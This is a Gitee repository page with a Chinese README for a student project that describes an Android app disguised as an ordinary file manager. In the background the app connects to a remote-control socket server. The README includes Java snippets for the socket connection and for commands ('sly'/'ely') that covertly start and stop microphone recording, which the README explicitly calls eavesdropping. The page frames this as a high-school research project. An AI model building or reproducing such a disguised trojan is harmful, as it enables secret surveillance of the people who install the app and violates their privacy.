# 网络安全 **Repository Path**: badshun/safe ## Basic Information - **Project Name**: 网络安全 - **Description**: 基于java实现的网络安全 - **Primary Language**: Android - **License**: Apache-2.0 - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 2 - **Forks**: 0 - **Created**: 2020-09-08 - **Last Updated**: 2023-03-17 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # 网络安全 ### 仓库介绍 此仓库为了高一研究性学习而创建 ### 仓库架构 #### 网络安全
    |__文件管理
    |__远程控制
### 项目说明 #### 文件管理 :
这个是一个表面上看起来像一个普通的文件管理器
具有查看图片,播放音乐等功能
但是在后台连接了远程控制项目中的ServerSocket服务器
```java ServerSocket server = new ServerSocket(2004); ``` 类似这样,只要连接上了这个服务器就可以为所欲为了
```java Socket socket = new Socket(Inet4Address.getByName("192.168.0.108"),2004); ``` 然后就可以进行一些通信操作比如向这个"文件管理"发送一些指令
比如sly,ely之类的,sly是开启录音功能,ely是结束录音功能,以此来达到一个窃听功能
```java if(msg.equals("sly")) { recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile("/mnt/sdcard/Download/ly.mp3"); try { recorder.prepare(); recorder.start(); } catch (Exception e) { e.printStackTrace(); } } else if(msg.equals("ely")) { recorder.stop(); recorder.reset(); recorder.release(); } ```